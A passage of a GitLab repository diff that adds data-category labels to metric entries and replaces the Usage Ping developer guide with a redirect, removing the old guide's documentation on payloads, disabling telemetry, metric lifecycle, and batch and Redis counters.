Tiers: `free`, `premium`, `ultimate`
@@ -19642,6 +23372,8 @@ Projects with a GitHub repository mirror pipeline enabled
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -19654,6 +23386,8 @@ GitLab instance unique identifier
Group: `group::product intelligence`
+Data Category: `Standard`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19666,6 +23400,8 @@ Version of GitLab instance
Group: `group::distribution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -19678,6 +23414,8 @@ Whether Web IDE clientside preview is enabled
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
diff --git a/doc/development/usage_ping/index.md b/doc/development/usage_ping/index.md
index de6a234e20c..aa06cb36f0c 100644
--- a/doc/development/usage_ping/index.md
+++ b/doc/development/usage_ping/index.md
@@ -1,1579 +1,9 @@
---
-stage: Growth
-group: Product Intelligence
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../service_ping/index.md'
+remove_date: '2021-10-09'
---
-# Usage Ping Guide
+This file was moved to [another location](../service_ping/index.md).
-> Introduced in GitLab Ultimate 11.2, more statistics.
-
-This guide describes Usage Ping's purpose and how it's implemented.
-
-For more information about Product Intelligence, see:
-
-- [Product Intelligence Guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/)
-- [Snowplow Guide](../snowplow/index.md)
-
-More links:
-
-- [Product Intelligence Direction](https://about.gitlab.com/direction/product-intelligence/)
-- [Data Analysis Process](https://about.gitlab.com/handbook/business-ops/data-team/#data-analysis-process/)
-- [Data for Product Managers](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/)
-- [Data Infrastructure](https://about.gitlab.com/handbook/business-ops/data-team/platform/infrastructure/)
-
-## What is Usage Ping?
-
-Usage Ping is a process in GitLab that collects and sends a weekly payload to GitLab Inc.
-The payload provides important high-level data that helps our product, support,
-and sales teams understand how GitLab is used. For example, the data helps to:
-
-- Compare counts month over month (or week over week) to get a rough sense for how an instance uses
- different product features.
-- Collect other facts that help us classify and understand GitLab installations.
-- Calculate our Stage Monthly Active Users (SMAU), which helps to measure the success of our stages
- and features.
-
-Usage Ping information is not anonymous. It's linked to the instance's hostname. However, it does
-not contain project names, usernames, or any other specific data.
-
-Sending a Usage Ping payload is optional and can be [disabled](#disable-usage-ping) on any instance.
-When Usage Ping is enabled, GitLab gathers data from the other instances
-and can show your instance's usage statistics to your users.
-
-### Terminology
-
-We use the following terminology to describe the Usage Ping components:
-
-- **Usage Ping**: the process that collects and generates a JSON payload.
-- **Usage data**: the contents of the Usage Ping JSON payload. This includes metrics.
-- **Metrics**: primarily made up of row counts for different tables in an instance's database. Each
- metric has a corresponding [metric definition](metrics_dictionary.md#metrics-definition-and-validation)
- in a YAML file.
-
-### Why should we enable Usage Ping?
-
-- The main purpose of Usage Ping is to build a better GitLab. Data about how GitLab is used is collected to better understand feature/stage adoption and usage, which helps us understand how GitLab is adding value and helps our team better understand the reasons why people use GitLab and with this knowledge we're able to make better product decisions.
-- As a benefit of having the usage ping active, GitLab lets you analyze the users' activities over time of your GitLab installation.
-- As a benefit of having the usage ping active, GitLab provides you with The DevOps Report,which gives you an overview of your entire instance's adoption of Concurrent DevOps from planning to monitoring.
-- You get better, more proactive support. (assuming that our TAMs and support organization used the data to deliver more value)
-- You get insight and advice into how to get the most value out of your investment in GitLab. Wouldn't you want to know that a number of features or values are not being adopted in your organization?
-- You get a report that illustrates how you compare against other similar organizations (anonymized), with specific advice and recommendations on how to improve your DevOps processes.
-- Usage Ping is enabled by default. To disable it, see [Disable Usage Ping](#disable-usage-ping).
-
-### Limitations
-
-- Usage Ping does not track frontend events things like page views, link clicks, or user sessions, and only focuses on aggregated backend events.
-- Because of these limitations we recommend instrumenting your products with Snowplow for more detailed analytics on GitLab.com and use Usage Ping to track aggregated backend events on self-managed.
-
-## Usage Ping payload
-
-You can view the exact JSON payload sent to GitLab Inc. in the administration panel. To view the payload:
-
-1. Sign in as a user with [Administrator](../../user/permissions.md) permissions.
-1. On the top bar, select **Menu >** **{admin}** **Admin**.
-1. On the left sidebar, select **Settings > Metrics and profiling**.
-1. Expand the **Usage statistics** section.
-1. Select **Preview payload**.
-
-For an example payload, see [Example Usage Ping payload](#example-usage-ping-payload).
-
-## Disable Usage Ping
-
-To disable Usage Ping in the GitLab UI:
-
-1. Sign in as a user with [Administrator](../../user/permissions.md) permissions.
-1. On the top bar, select **Menu >** **{admin}** **Admin**.
-1. On the left sidebar, select **Settings > Metrics and profiling**.
-1. Expand the **Usage statistics** section.
-1. Clear the **Enable usage ping** checkbox and select **Save changes**.
-
-To disable Usage Ping and prevent it from being configured in the future through
-the administration panel, Omnibus installs can set the following in
-[`gitlab.rb`](https://docs.gitlab.com/omnibus/settings/configuration.html#configuration-options):
-
-```ruby
-gitlab_rails['usage_ping_enabled'] = false
-```
-
-Source installations can set the following in `gitlab.yml`:
-
-```yaml
-production: &base
- # ...
- gitlab:
- # ...
- usage_ping_enabled: false
-```
-
-## Usage Ping request flow
-
-The following example shows a basic request/response flow between a GitLab instance, the Versions Application, the License Application, Salesforce, the GitLab S3 Bucket, the GitLab Snowflake Data Warehouse, and Sisense:
-
-```mermaid
-sequenceDiagram
- participant GitLab Instance
- participant Versions Application
- participant Licenses Application
- participant Salesforce
- participant S3 Bucket
- participant Snowflake DW
- participant Sisense Dashboards
- GitLab Instance->>Versions Application: Send Usage Ping
- loop Process usage data
- Versions Application->>Versions Application: Parse usage data
- Versions Application->>Versions Application: Write to database
- Versions Application->>Versions Application: Update license ping time
- end
- loop Process data for Salesforce
- Versions Application-xLicenses Application: Request Zuora subscription id
- Licenses Application-xVersions Application: Zuora subscription id
- Versions Application-xSalesforce: Request Zuora account id by Zuora subscription id
- Salesforce-xVersions Application: Zuora account id
- Versions Application-xSalesforce: Usage data for the Zuora account
- end
- Versions Application->>S3 Bucket: Export Versions database
- S3 Bucket->>Snowflake DW: Import data
- Snowflake DW->>Snowflake DW: Transform data using dbt
- Snowflake DW->>Sisense Dashboards: Data available for querying
- Versions Application->>GitLab Instance: DevOps Report (Conversational Development Index)
-```
-
-## How Usage Ping works
-
-1. The Usage Ping [cron job](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/workers/gitlab_usage_ping_worker.rb#L30) is set in Sidekiq to run weekly.
-1. When the cron job runs, it calls [`Gitlab::UsageData.to_json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/submit_usage_ping_service.rb#L22).
-1. `Gitlab::UsageData.to_json` [cascades down](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data.rb#L22) to ~400+ other counter method calls.
-1. The response of all methods calls are [merged together](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data.rb#L14) into a single JSON payload in `Gitlab::UsageData.to_json`.
-1. The JSON payload is then [posted to the Versions application]( https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/submit_usage_ping_service.rb#L20)
- If a firewall exception is needed, the required URL depends on several things. If
- the hostname is `version.gitlab.com`, the protocol is `TCP`, and the port number is `443`,
- the required URL is <https://version.gitlab.com/>.
-
-## Usage Ping Metric Life cycle
-
-### 1. New metrics addition
-
-Please follow the [Implementing Usage Ping](#implementing-usage-ping) guide.
-
-### 2. Existing metric change
-
-Because we do not control when customers update their self-managed instances of GitLab,
-we **STRONGLY DISCOURAGE** changes to the logic used to calculate any metric.
-Any such changes lead to inconsistent reports from multiple GitLab instances.
-If there is a problem with an existing metric, it's best to deprecate the existing metric,
-and use it, side by side, with the desired new metric.
-
-Example:
-Consider following change. Before GitLab 12.6, the `example_metric` was implemented as:
-
-```ruby
-{
- ...
- example_metric: distinct_count(Project, :creator_id)
-}
-```
-
-For GitLab 12.6, the metric was changed to filter out archived projects:
-
-```ruby
-{
- ...
- example_metric: distinct_count(Project.non_archived, :creator_id)
-}
-```
-
-In this scenario all instances running up to GitLab 12.5 continue to report `example_metric`,
-including all archived projects, while all instances running GitLab 12.6 and higher filters
-out such projects. As Usage Ping data is collected from all reporting instances, the
-resulting dataset includes mixed data, which distorts any following business analysis.
-
-The correct approach is to add a new metric for GitLab 12.6 release with updated logic:
-
-```ruby
-{
- ...
- example_metric_without_archived: distinct_count(Project.non_archived, :creator_id)
-}
-```
-
-and update existing business analysis artefacts to use `example_metric_without_archived` instead of `example_metric`
-
-### 3. Deprecate a metric
-
-If a metric is obsolete and you no longer use it, you can mark it as deprecated.
-
-For an example of the metric deprecation process take a look at this [example merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59899)
-
-To deprecate a metric:
-
-1. Check the following YAML files and verify the metric is not used in an aggregate:
- - [`config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/aggregates/)
- - [`ee/config/metrics/aggregates/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/aggregates/)
-
-1. Create an issue in the [GitLab Data Team
- project](https://gitlab.com/gitlab-data/analytics/-/issues). Ask for
- confirmation that the metric is not used by other teams, or in any of the SiSense
- dashboards.
-
-1. Verify the metric is not used to calculate the conversational index. The
- conversational index is a measure that reports back to self-managed instances
- to inform administrators of the progress of DevOps adoption for the instance.
-
- You can check
- [`CalculateConvIndexService`](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/app/services/calculate_conv_index_service.rb)
- to view the metrics that are used. The metrics are represented
- as the keys that are passed as a field argument into the `get_value` method.
-
-1. Document the deprecation in the metric's YAML definition. Set
- the `status:` attribute to `deprecated`, for example:
-
- ```yaml
- ---
- key_path: analytics_unique_visits.analytics_unique_visits_for_any_target_monthly
- description: Visits to any of the pages listed above per month
- product_section: dev
- product_stage: manage
- product_group: group::analytics
- product_category:
- value_type: number
- status: deprecated
- time_frame: 28d
- data_source:
- distribution:
- - ce
- tier:
- - free
- ```
-
-1. Replace the metric's instrumentation with a fixed value. This avoids wasting
- resources to calculate the deprecated metric. In
- [`lib/gitlab/usage_data.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data.rb)
- or
- [`ee/lib/ee/gitlab/usage_data.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/ee/gitlab/usage_data.rb),
- replace the code that calculates the metric's value with a fixed value that
- indicates it's deprecated:
-
- ```ruby
- module Gitlab
- class UsageData
- DEPRECATED_VALUE = -1000
-
- def analytics_unique_visits_data
- results['analytics_unique_visits_for_any_target'] = redis_usage_data { unique_visit_service.unique_visits_for(targets: :analytics) }
- results['analytics_unique_visits_for_any_target_monthly'] = DEPRECATED_VALUE
-
- { analytics_unique_visits: results }
- end
- # ...
- end
- end
- ```
-
-1. Update the Metrics Dictionary following [guidelines instructions](dictionary.md).
-
-### 4. Remove a metric
-
-Only deprecated metrics can be removed from Usage Ping.
-
-For an example of the metric removal process take a look at this [example issue](https://gitlab.com/gitlab-org/gitlab/-/issues/297029)
-
-To remove a deprecated metric:
-
-1. Verify that removing the metric from the Usage Ping payload does not cause
- errors in [Version App](https://gitlab.com/gitlab-services/version-gitlab-com)
- when the updated payload is collected and processed. Version App collects
- and persists all Usage Ping reports. To do that you can modify
- [fixtures](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/spec/support/usage_data_helpers.rb#L540)
- used to test
- [`UsageDataController#create`](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/3760ef28/spec/controllers/usage_data_controller_spec.rb#L75)
- endpoint, and assure that test suite does not fail when metric that you wish to remove is not included into test payload.
-
-1. Create an issue in the
- [GitLab Data Team project](https://gitlab.com/gitlab-data/analytics/-/issues).
- Ask for confirmation that the metric is not referred to in any SiSense dashboards and
- can be safely removed from Usage Ping. Use this
- [example issue](https://gitlab.com/gitlab-data/analytics/-/issues/7539) for guidance.
- This step can be skipped if verification done during [deprecation process](#3-deprecate-a-metric)
- reported that metric is not required by any data transformation in Snowflake data warehouse nor it is
- used by any of SiSense dashboards.
-
-1. After you verify the metric can be safely removed,
- update the attributes of the metric's YAML definition:
-
- - Set the `status:` to `removed`.
- - Set `milestone_removed:` to the number of the
- milestone in which the metric was removed.
-
- Do not remove the metric's YAML definition altogether. Some self-managed
- instances might not immediately update to the latest version of GitLab, and
- therefore continue to report the removed metric. The Product Intelligence team
- requires a record of all removed metrics in order to identify and filter them.
-
- For example please take a look at this [merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60149/diffs#b01f429a54843feb22265100c0e4fec1b7da1240_10_10).
-
-1. After you verify the metric can be safely removed,
- remove the metric's instrumentation from
- [`lib/gitlab/usage_data.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data.rb)
- or
- [`ee/lib/ee/gitlab/usage_data.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/ee/gitlab/usage_data.rb).
-
- For example please take a look at this [merge request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60149/diffs#6335dc533bd21df26db9de90a02dd66278c2390d_167_167).
-
-1. Remove any other records related to the metric:
- - The feature flag YAML file at [`config/feature_flags/*/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/config/feature_flags).
- - The entry in the known events YAML file at [`lib/gitlab/usage_data_counters/known_events/*.yaml`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/usage_data_counters/known_events).
-
-1. Update the Metrics Dictionary following [guidelines instructions](dictionary.md).
-
-## Implementing Usage Ping
-
-Usage Ping consists of two kinds of data, counters and observations. Counters track how often a certain event
-happened over time, such as how many CI pipelines have run. They are monotonic and always trend up.
-Observations are facts collected from one or more GitLab instances and can carry arbitrary data. There are no
-general guidelines around how to collect those, due to the individual nature of that data.
-
-There are several types of counters which are all found in `usage_data.rb`:
-
-- **Ordinary Batch Counters:** Simple count of a given ActiveRecord_Relation
-- **Distinct Batch Counters:** Distinct count of a given ActiveRecord_Relation in a given column
-- **Sum Batch Counters:** Sum the values of a given ActiveRecord_Relation in a given column
-- **Alternative Counters:** Used for settings and configurations
-- **Redis Counters:** Used for in-memory counts.
-
-NOTE:
-Only use the provided counter methods. Each counter method contains a built in fail safe to isolate each counter to avoid breaking the entire Usage Ping.
-
-### Why batch counting
-
-For large tables, PostgreSQL can take a long time to count rows due to MVCC [(Multi-version Concurrency Control)](https://en.wikipedia.org/wiki/Multiversion_concurrency_control). Batch counting is a counting method where a single large query is broken into multiple smaller queries. For example, instead of a single query querying 1,000,000 records, with batch counting, you can execute 100 queries of 10,000 records each. Batch counting is useful for avoiding database timeouts as each batch query is significantly shorter than one single long running query.
-
-For GitLab.com, there are extremely large tables with 15 second query timeouts, so we use batch counting to avoid encountering timeouts. Here are the sizes of some GitLab.com tables:
-
-| Table | Row counts in millions |
-|------------------------------|------------------------|
-| `merge_request_diff_commits` | 2280 |
-| `ci_build_trace_sections` | 1764 |
-| `merge_request_diff_files` | 1082 |
-| `events` | 514 |
-
-The following operation methods are available for your use:
-
-- [Ordinary Batch Counters](#ordinary-batch-counters)
-- [Distinct Batch Counters](#distinct-batch-counters)
-- [Sum Batch Operation](#sum-batch-operation)
-- [Add Operation](#add-operation)
-- [Estimated Batch Counters](#estimated-batch-counters)
-
-Batch counting requires indexes on columns to calculate max, min, and range queries. In some cases,
-you may need to add a specialized index on the columns involved in a counter.
-
-### Ordinary Batch Counters
-
-Handles `ActiveRecord::StatementInvalid` error
-
-Simple count of a given `ActiveRecord_Relation`, does a non-distinct batch count, smartly reduces `batch_size`, and handles errors.
-
-Method: `count(relation, column = nil, batch: true, start: nil, finish: nil)`
-
-Arguments:
-
-- `relation` the ActiveRecord_Relation to perform the count
-- `column` the column to perform the count on, by default is the primary key
-- `batch`: default `true` to use batch counting
-- `start`: custom start of the batch counting to avoid complex min calculations
-- `end`: custom end of the batch counting to avoid complex min calculations
-
-Examples:
-
-```ruby
-count(User.active)
-count(::Clusters::Cluster.aws_installed.enabled, :cluster_id)
-count(::Clusters::Cluster.aws_installed.enabled, :cluster_id, start: ::Clusters::Cluster.minimum(:id), finish: ::Clusters::Cluster.maximum(:id))
-```
-
-### Distinct Batch Counters
-
-Handles `ActiveRecord::StatementInvalid` error
-
-Distinct count of a given `ActiveRecord_Relation` on given column, a distinct batch count, smartly reduces `batch_size`, and handles errors.
-
-Method: `distinct_count(relation, column = nil, batch: true, batch_size: nil, start: nil, finish: nil)`
-
-Arguments:
-
-- `relation` the ActiveRecord_Relation to perform the count
-- `column` the column to perform the distinct count, by default is the primary key
-- `batch`: default `true` to use batch counting
-- `batch_size`: if none set it uses default value 10000 from `Gitlab::Database::BatchCounter`
-- `start`: custom start of the batch counting to avoid complex min calculations
-- `end`: custom end of the batch counting to avoid complex min calculations
-
-WARNING:
-Counting over non-unique columns can lead to performance issues. Take a look at the [iterating tables in batches](../iterating_tables_in_batches.md) guide for more details.
-
-Examples:
-
-```ruby
-distinct_count(::Project, :creator_id)
-distinct_count(::Note.with_suggestions.where(time_period), :author_id, start: ::User.minimum(:id), finish: ::User.maximum(:id))
-distinct_count(::Clusters::Applications::CertManager.where(time_period).available.joins(:cluster), 'clusters.user_id')
-```
-
-### Sum Batch Operation
-
-Handles `ActiveRecord::StatementInvalid` error
-
-Sum the values of a given ActiveRecord_Relation on given column and handles errors.
-
-Method: `sum(relation, column, batch_size: nil, start: nil, finish: nil)`
-
-Arguments:
-
-- `relation` the ActiveRecord_Relation to perform the operation
-- `column` the column to sum on
-- `batch_size`: if none set it uses default value 1000 from `Gitlab::Database::BatchCounter`
-- `start`: custom start of the batch counting to avoid complex min calculations
-- `end`: custom end of the batch counting to avoid complex min calculations
-
-Examples:
-
-```ruby
-sum(JiraImportState.finished, :imported_issues_count)
-```
-
-### Grouping & Batch Operations
-
-The `count`, `distinct_count`, and `sum` batch counters can accept an `ActiveRecord::Relation`
-object, which groups by a specified column. With a grouped relation, the methods do batch counting,
-handle errors, and returns a hash table of key-value pairs.
-
-Examples:
-
-```ruby
-count(Namespace.group(:type))
-# returns => {nil=>179, "Group"=>54}
-
-distinct_count(Project.group(:visibility_level), :creator_id)
-# returns => {0=>1, 10=>1, 20=>11}
-
-sum(Issue.group(:state_id), :weight))
-# returns => {1=>3542, 2=>6820}
-```
-
-### Add Operation
-
-Handles `StandardError`.
-
-Returns `-1` if any of the arguments are `-1`.
-
-Sum the values given as parameters.
-
-Method: `add(*args)`
-
-Examples
-
-```ruby
-project_imports = distinct_count(::Project.where.not(import_type: nil), :creator_id)
-bulk_imports = distinct_count(::BulkImport, :user_id)
-
- add(project_imports, bulk_imports)
-```
-
-### Estimated Batch Counters
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48233) in GitLab 13.7.
-
-Estimated batch counter functionality handles `ActiveRecord::StatementInvalid` errors
-when used through the provided `estimate_batch_distinct_count` method.
-Errors return a value of `-1`.
-
-WARNING:
-This functionality estimates a distinct count of a specific ActiveRecord_Relation in a given column,
-which uses the [HyperLogLog](http://algo.inria.fr/flajolet/Publications/FlFuGaMe07.pdf) algorithm.
-As the HyperLogLog algorithm is probabilistic, the **results always include error**.
-The highest encountered error rate is 4.9%.
-
-When correctly used, the `estimate_batch_distinct_count` method enables efficient counting over
-columns that contain non-unique values, which can not be assured by other counters.
-
-#### estimate_batch_distinct_count method
-
-Method: `estimate_batch_distinct_count(relation, column = nil, batch_size: nil, start: nil, finish: nil)`
-
-The [method](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/utils/usage_data.rb#L63)
-includes the following arguments:
-
-- `relation`: The ActiveRecord_Relation to perform the count.
-- `column`: The column to perform the distinct count. The default is the primary key.
-- `batch_size`: From `Gitlab::Database::PostgresHll::BatchDistinctCounter::DEFAULT_BATCH_SIZE`. Default value: 10,000.
-- `start`: The custom start of the batch count, to avoid complex minimum calculations.
-- `finish`: The custom end of the batch count to avoid complex maximum calculations.
-
-The method includes the following prerequisites:
-
-1. The supplied `relation` must include the primary key defined as the numeric column.
- For example: `id bigint NOT NULL`.
-1. The `estimate_batch_distinct_count` can handle a joined relation. To use its ability to
- count non-unique columns, the joined relation **must NOT** have a one-to-many relationship,
- such as `has_many :boards`.
-1. Both `start` and `finish` arguments should always represent primary key relationship values,
- even if the estimated count refers to another column, for example:
-
- ```ruby
- estimate_batch_distinct_count(::Note, :author_id, start: ::Note.minimum(:id), finish: ::Note.maximum(:id))
- ```
-
-Examples:
-
-1. Simple execution of estimated batch counter, with only relation provided,
- returned value represents estimated number of unique values in `id` column
- (which is the primary key) of `Project` relation:
-
- ```ruby
- estimate_batch_distinct_count(::Project)
- ```
-
-1. Execution of estimated batch counter, where provided relation has applied
- additional filter (`.where(time_period)`), number of unique values estimated
- in custom column (`:author_id`), and parameters: `start` and `finish` together
- apply boundaries that defines range of provided relation to analyze:
-
- ```ruby
- estimate_batch_distinct_count(::Note.with_suggestions.where(time_period), :author_id, start: ::Note.minimum(:id), finish: ::Note.maximum(:id))
- ```
-
-1. Execution of estimated batch counter with joined relation (`joins(:cluster)`),
- for a custom column (`'clusters.user_id'`):
-
- ```ruby
- estimate_batch_distinct_count(::Clusters::Applications::CertManager.where(time_period).available.joins(:cluster), 'clusters.user_id')
- ```
-
-When instrumenting metric with usage of estimated batch counter please add
-`_estimated` suffix to its name, for example:
-
-```ruby
- "counts": {
- "ci_builds_estimated": estimate_batch_distinct_count(Ci::Build),
- ...
-```
-
-### Redis Counters
-
-Handles `::Redis::CommandError` and `Gitlab::UsageDataCounters::BaseCounter::UnknownEvent`
-returns -1 when a block is sent or hash with all values -1 when a `counter(Gitlab::UsageDataCounters)` is sent
-different behavior due to 2 different implementations of Redis counter
-
-Method: `redis_usage_data(counter, &block)`
-
-Arguments:
-
-- `counter`: a counter from `Gitlab::UsageDataCounters`, that has `fallback_totals` method implemented
-- or a `block`: which is evaluated
-
-#### Ordinary Redis Counters
-
-Examples of implementation:
-
-- Using Redis methods [`INCR`](https://redis.io/commands/incr), [`GET`](https://redis.io/commands/get), and [`Gitlab::UsageDataCounters::WikiPageCounter`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/wiki_page_counter.rb)
-- Using Redis methods [`HINCRBY`](https://redis.io/commands/hincrby), [`HGETALL`](https://redis.io/commands/hgetall), and [`Gitlab::UsageCounters::PodLogs`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_counters/pod_logs.rb)
-
-##### UsageData API Tracking
-
-<!-- There's nearly identical content in `##### Adding new events`. If you fix errors here, you may need to fix the same errors in the other location. -->
-
-1. Track event using `UsageData` API
-
- Increment event count using ordinary Redis counter, for given event name.
-
- Tracking events using the `UsageData` API requires the `usage_data_api` feature flag to be enabled, which is enabled by default.
-
- API requests are protected by checking for a valid CSRF token.
-
- To be able to increment the values, the related feature `usage_data_<event_name>` should be enabled.
-
- ```plaintext
- POST /usage_data/increment_counter
- ```
-
- | Attribute | Type | Required | Description |
- | :-------- | :--- | :------- | :---------- |
- | `event` | string | yes | The event name it should be tracked |
-
- Response
-
- - `200` if event was tracked
- - `400 Bad request` if event parameter is missing
- - `401 Unauthorized` if user is not authenticated
- - `403 Forbidden` for invalid CSRF token provided
-
-1. Track events using JavaScript/Vue API helper which calls the API above
-
- Note that `usage_data_api` and `usage_data_#{event_name}` should be enabled to be able to track events
-
- ```javascript
- import api from '~/api';
-
- api.trackRedisCounterEvent('my_already_defined_event_name'),
- ```
-
-#### Redis HLL Counters
-
-WARNING:
-HyperLogLog (HLL) is a probabilistic algorithm and its **results always includes some small error**. According to [Redis documentation](https://redis.io/commands/pfcount), data from
-used HLL implementation is "approximated with a standard error of 0.81%".
-
-With `Gitlab::UsageDataCounters::HLLRedisCounter` we have available data structures used to count unique values.
-
-Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PFCOUNT](https://redis.io/commands/pfcount).
-
-##### Adding new events
-
-1. Define events in [`known_events`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/).
-
- Example event:
-
- ```yaml
- - name: users_creating_epics
- category: epics_usage
- redis_slot: users
- aggregation: weekly
- feature_flag: track_epics_activity
- ```
-
- Keys:
-
- - `name`: unique event name.
-
- Name format for Redis HLL events `<name>_<redis_slot>`.
-
- [See Metric name](metrics_dictionary.md#metric-name) for a complete guide on metric naming suggestion.
-
- Consider including in the event's name the Redis slot to be able to count totals for a specific category.
-
- Example names: `users_creating_epics`, `users_triggering_security_scans`.
-
- - `category`: event category. Used for getting total counts for events in a category, for easier
- access to a group of events.
- - `redis_slot`: optional Redis slot. Default value: event name. Only event data that is stored in the same slot
- can be aggregated. Ensure keys are in the same slot. For example:
- `users_creating_epics` with `redis_slot: 'users'` builds Redis key
- `{users}_creating_epics-2020-34`. If `redis_slot` is not defined the Redis key will
- be `{users_creating_epics}-2020-34`.
- Recommended slots to use are: `users`, `projects`. This is the value we count.
- - `expiry`: expiry time in days. Default: 29 days for daily aggregation and 6 weeks for weekly
- aggregation.
- - `aggregation`: may be set to a `:daily` or `:weekly` key. Defines how counting data is stored in Redis.
- Aggregation on a `daily` basis does not pull more fine grained data.
- - `feature_flag`: optional `default_enabled: :yaml`. If no feature flag is set then the tracking is enabled. One feature flag can be used for multiple events. For details, see our [GitLab internal Feature flags](../feature_flags/index.md) documentation. The feature flags are owned by the group adding the event tracking.
-
-Use one of the following methods to track events:
-
-1. Track event in controller using `RedisTracking` module with `track_redis_hll_event(*controller_actions, name:, if: nil, &block)`.
-
- Arguments:
-
- - `controller_actions`: controller actions we want to track.
- - `name`: event name.
- - `if`: optional custom conditions, using the same format as with Rails callbacks.
- - `&block`: optional block that computes and returns the `custom_id` that we want to track. This will override the `visitor_id`.
-
- Example usage:
-
- ```ruby
- # controller
- class ProjectsController < Projects::ApplicationController
- include RedisTracking
-
- skip_before_action :authenticate_user!, only: :show
- track_redis_hll_event :index, :show, name: 'users_visiting_projects'
-
- def index
- render html: 'index'
- end
-
- def new
- render html: 'new'
- end
-
- def show
- render html: 'show'
- end
- end
- ```
-
-1. Track event in API using `increment_unique_values(event_name, values)` helper method.
-
- Arguments:
-
- - `event_name`: event name.
- - `values`: values counted, one value or array of values.
-
- Example usage:
-
- ```ruby
- get ':id/registry/repositories' do
- repositories = ContainerRepositoriesFinder.new(
- user: current_user, subject: user_group
- ).execute
-
- increment_unique_values('users_listing_repositories', current_user.id)
-
- present paginate(repositories), with: Entities::ContainerRegistry::Repository, tags: params[:tags], tags_count: params[:tags_count]
- end
- ```
-
-1. Track event using `track_usage_event(event_name, values)` in services and GraphQL
-
- Increment unique values count using Redis HLL, for given event name.
-
- Example:
-
- [Track usage event for incident created in service](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.8.3-ee/app/services/issues/update_service.rb#L66)
-
- [Track usage event for incident created in GraphQL](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.8.3-ee/app/graphql/mutations/alert_management/update_alert_status.rb#L16)
-
- ```ruby
- track_usage_event(:incident_management_incident_created, current_user.id)
- ```
-
-<!-- There's nearly identical content in `##### UsageData API Tracking`. If you find / fix errors here, you may need to fix errors in that section too. -->
-
-1. Track event using `UsageData` API
-
- Increment unique users count using Redis HLL, for given event name.
-
- Tracking events using the `UsageData` API requires the `usage_data_api` feature flag to be enabled, which is enabled by default.
-
- API requests are protected by checking for a valid CSRF token.
-
- ```plaintext
- POST /usage_data/increment_unique_users
- ```
-
- | Attribute | Type | Required | Description |
- | :-------- | :--- | :------- | :---------- |
- | `event` | string | yes | The event name it should be tracked |
-
- Response
-
- Return 200 if tracking failed for any reason.
-
- - `200` if event was tracked or any errors
- - `400 Bad request` if event parameter is missing
- - `401 Unauthorized` if user is not authenticated
- - `403 Forbidden` for invalid CSRF token provided
-
-1. Track events using JavaScript/Vue API helper which calls the API above
-
- Example usage for an existing event already defined in [known events](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/):
-
- Usage Data API is behind `usage_data_api` feature flag which, as of GitLab 13.7, is
- now set to `default_enabled: true`.
-
- ```javascript
- import api from '~/api';
-
- api.trackRedisHllUserEvent('my_already_defined_event_name'),
- ```
-
-1. Get event data using `Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names:, start_date:, end_date:, context: '')`.
-
- Arguments:
-
- - `event_names`: the list of event names.
- - `start_date`: start date of the period for which we want to get event data.
- - `end_date`: end date of the period for which we want to get event data.
- - `context`: context of the event. Allowed values are `default`, `free`, `bronze`, `silver`, `gold`, `starter`, `premium`, `ultimate`.
-
-1. Testing tracking and getting unique events
-
-Trigger events in rails console by using `track_event` method
-
- ```ruby
- Gitlab::UsageDataCounters::HLLRedisCounter.track_event('users_viewing_compliance_audit_events', values: 1)
- Gitlab::UsageDataCounters::HLLRedisCounter.track_event('users_viewing_compliance_audit_events', values: [2, 3])
- ```
-
-Next, get the unique events for the current week.
-
- ```ruby
- # Get unique events for metric for current_week
- Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: 'users_viewing_compliance_audit_events',
- start_date: Date.current.beginning_of_week, end_date: Date.current.next_week)
- ```
-
-##### Recommendations
-
-We have the following recommendations for [Adding new events](#adding-new-events):
-
-- Event aggregation: weekly.
-- Key expiry time:
- - Daily: 29 days.
- - Weekly: 42 days.
-- When adding new metrics, use a [feature flag](../../operations/feature_flags.md) to control the impact.
-- For feature flags triggered by another service, set `default_enabled: false`,
- - Events can be triggered using the `UsageData` API, which helps when there are > 10 events per change
-
-##### Enable/Disable Redis HLL tracking
-
